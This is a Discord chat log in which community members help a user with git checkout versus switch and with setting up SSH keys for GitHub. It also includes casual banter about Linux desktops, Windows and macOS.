Unlike branches, tags are not intended for ongoing development. Tags mark a specific point in the repository’s history to give developers an easy way to reference important milestones in the development timeline.

austere talon
tacit marten
#

My questions are a very good example, I should have just googled.

austere talon
#

git checkout foo

tacit marten
#

Which is why I didn't ask you to explain it, because I know fully well I would be making a laughing stock of myself. I really appreciate you explaining though!

austere talon
#

pointless i never use it

#

git switch is solely for switching branches
git checkout has many other ways to use it

#

think of it like
git switch is a knife
git checkout is swiss army knife

#

git-checkout - Switch branches or restore working tree files

#

it doesn't really matter which one u use but i always just use checkout

charred monolithBOT
tacit marten
#

Turns out I already have ssh keys due to GitKraken, and it is authenticated, but I didn't set up my email or username in Git, dunno if this is what broke it.

austere talon
#

yes

#

you need to configure git itself

#

it's fairly simple to do if you want to do that, but you can also just use https if you don't plan to pr anything

tacit marten
#

I'd prefer to fix this SSH mess to avoid any future trouble tbh.

#

Added my username and email, still broken.

austere talon
#

what platform are you on

#

windows?

tacit marten
#

I might decide to just nuke Git itself and reinstall at this rate. XD

tacit marten
austere talon
#

i use both actually!

austere talon
tacit marten
#

I hate Linux tbh. Its GUI is not neat, and I need to install packages for everything which just fills my space.

#

God forbid that I try to use Wine to run Windows stuff.

tacit marten
austere talon
#

need to install packages for everything which just fills my space
InabaWhat

tacit marten
quaint sapphire
austere talon
#

linux is way smaller than windows

#

what do you mean by that

tacit marten
#

Hmmmmmm.

#

I allocatted 40 GB for Arch Linux.

#

Filled up when using it for some uni projects and customization.

austere talon
#

and "its gui is not neat" is not something you can say because linux doesn't have a gui

quaint sapphire
austere talon
#

you're using one of the many guis available for it

#

perhaps you might like a different one more

#

:P

quaint sapphire
#

use GNOME if you want a great GUI

#

use KDE if you want an ugly but very functional GUI

#

use a window manager if you are sadistic

tacit marten
austere talon
#

how so

quaint sapphire
#

GNOME 44 is legit the best GUI I have used on linux

tacit marten
#

It just looks very generic with 3D effects/art style?

austere talon
#

GTK is super cool actually because it makes it easy to theme and applies to most apps

tacit marten
#

Unless I used an old one.

quaint sapphire
austere talon
#

anyway this discussion is kinda pointless, if they prefer windows that's cool bleh

tacit marten
#

My description for Windows 11: "how windows 10 should have looked like".

tacit marten
#

I am gaining insight and more info.

quaint sapphire
#

I also prefer windows, cause I don't like it when I want to use the 15~20% of windows programs that don't run under wine

#

but I also like linux

#

I hate MacOS tho

#

MacOS is the most restrictive of the three

tacit marten
#

Honestly I hate Apple products due to their reputation for locking everything, but I never used their stuff.

austere talon
#

to add ssh keys to the git cli, you will want to:

  • use ssh-keygen to generate a ssh key pair
  • add the public key to your github account so you can use it to authorise
  • set up a basic ~/.ssh/config for github.com to tell ssh which username and key to use for github

This should already be it ssh github.com should now work

quaint sapphire
#

just don't use ssh keys

#

use gh for auth

austere talon
#

terror

quaint sapphire
#

gh auth login is very good

#

it also saves ur login to git

#

if you want to

tacit marten
austere talon
#

where is your key located?

tacit marten
#

I mean GitKraken already created the SSH files in the default location.

austere talon
#

where are they located

#

are they in ~/.ssh

tacit marten
#

%USERPROFILE%/.ssh

austere talon
#

i would just not use gitkrakens and make ur own

#

it's part of the learning experience

tacit marten
#

I already made one before I found the default GitKraken one. XD

austere talon
#

anyway for the config bit

#

it's just this

Host github.com
  User git
  IdentityFile ~/.ssh/github
#

in ~/.ssh/config

#

i have a lot in the config

#

it makes it so easy to manage many ssh keys easily and also add host aliases (ssh oracle instead of ssh vendy@130.61.130.176)

charred monolithBOT
austere talon
tacit marten
#

Oh wait, I don't think GitKraken saved the file in the default location? I got lost. XD

austere talon
#

like i said just make ur own

tacit marten
#

Oh, gotta look into passphrases and stuff.

austere talon
#

forget about gitkraken key

#

it doesn't matter

tacit marten
austere talon
#

you can have as many keys as you want

tacit marten
#

For security.

#

Me: *Got a deadline to do my graduation project in a few days.*
Also me: *Let's install oh-my-posh and configure Vencord and SSH instead.*

charred monolithBOT
tacit marten
#

Btw noticed something: this GitHub bot doesn't display new commits in PRs.

#

At least here.

tacit marten
#

Oh, didn't notice the Webhook tag, my bad.

#

I was just pointing it out anyway, meant with V's config.

#

.....
Just realized V's nickname is probably Venedicated.

olive aurora
#

iirc this event is not a thing

tacit marten
#

Well, as long as you already know, sorry for pointing out the obvious.

tacit marten
olive aurora
#

private, and the pub key should be next to it with a .pub extension

charred monolithBOT
cunning canyon
#

AMOGUS

tacit marten
#

I am sorry for asking, but I didn't find a guide for.... actually lemme look for a guide using a different search query.

charred monolithBOT
olive aurora
#

omnom

bleak swift
austere talon
#

sus

olive aurora
#

lmao the shield url

#

we love inline icons

austere talon
#

lmao

#

they dont allow icon urls i think

#

wait maybe they do

tacit marten
#

Btw if you want a more unique nickname, try Vendi. Never saw anyone called Vendi. XD

olive aurora
#

nop

#

they dont

tacit marten
#

At least if you like your GitHub username.

tacit marten